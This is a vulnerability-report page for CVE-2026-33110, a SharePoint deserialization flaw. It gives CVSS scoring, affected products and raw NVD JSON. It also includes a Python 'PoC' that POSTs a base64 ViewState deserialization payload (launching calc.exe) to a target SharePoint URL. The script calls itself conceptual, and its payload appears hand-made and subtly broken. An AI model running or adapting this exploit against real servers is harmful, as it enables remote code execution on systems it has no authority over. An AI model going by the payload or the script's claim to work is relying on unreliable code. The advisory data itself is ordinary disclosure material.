Security Vulnerability Report
中文
CVE-2026-33110 CVSS 8.8 HIGH

CVE-2026-33110

Published: 2026-05-12 18:17:03
Last Modified: 2026-05-13 20:53:50

Description

Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:* - VULNERABLE
Microsoft Office SharePoint Server (受影响版本请参考官方安全公告)
Microsoft SharePoint Foundation (受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (placeholder) target_url = "http://target-sharepoint-site/pages/default.aspx" # Malicious payload generated by ysoserial.net for ViewState deserialization # This is a conceptual PoC. Replace with actual generated payload. # Command: ysoserial.exe -g ObjectDataProvider -c "calc.exe" -f TextFormatter payload = "AAEAAAD/////AQAAAAAAAAAMAgAAAE5TeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbnRlcm5hbC5WYXJpYWJsZUhlbHBlcwIAAAABAwAAAAdtZXRob2QDAAAAF0NvbXBvbmVudE1vZGVsLkJ1aWxkAQEAAABTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbnRlcm5hbC5WYXJpYWJsZUhlbHBlciwgc3lzdGVtLndpbmRvd3MuZm9ybXMsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAABTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbnRlcm5hbC5WYXJpYWJsZUhlbHBlcgMAAAAIVmFyaWFibGUBAAAAFVN5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQEAAAAJdmFsdWVfXwQCAAAAAwAAABNTaXN0ZW0uRGF0YS5EYXRhVmlld0ludGVybmFsLkRhdGFWaWV3SGFuZGxlciwgU3lzdGVtLkRhdGEsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdmNWM1NjE5MzRlMDg5BAAAAAhTZXRQYWdlAQAAAAdTeXN0ZW0uRGF0YS5EYXRhVmlld0ludGVybmFsLkRhdGFWaWV3SGFuZGxlcgIAAAAJU2V0UGFnZQIAAAAHY29tbWFuZAQAAAAJY2FsYy5leGUBAAAAAQ==" headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } # Data structure often used in SharePoint ViewState attacks data = { "__VIEWSTATE": payload, "__VIEWSTATEGENERATOR": "B97B4E27" # Example generator, varies by target } try: response = requests.post(target_url, data=data, headers=headers, timeout=10) if response.status_code == 200: print("Payload sent successfully. Check server for execution.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33110", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:03.497", "lastModified": "2026-05-13T20:53:49.897", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:*", "versionEndExcluding": "16.0.19725.20280", "matchCriteriaId": "E9919927-DE08-4AE4-B9F6-2A83117EE14A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:*", "matchCriteriaId": "F815EF1D-7B60-47BE-9AC2-2548F99F10E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*", "matchCriteriaId": "6122D014-5BF1-4AF4-8B4D-80205ED7785E"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33110", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}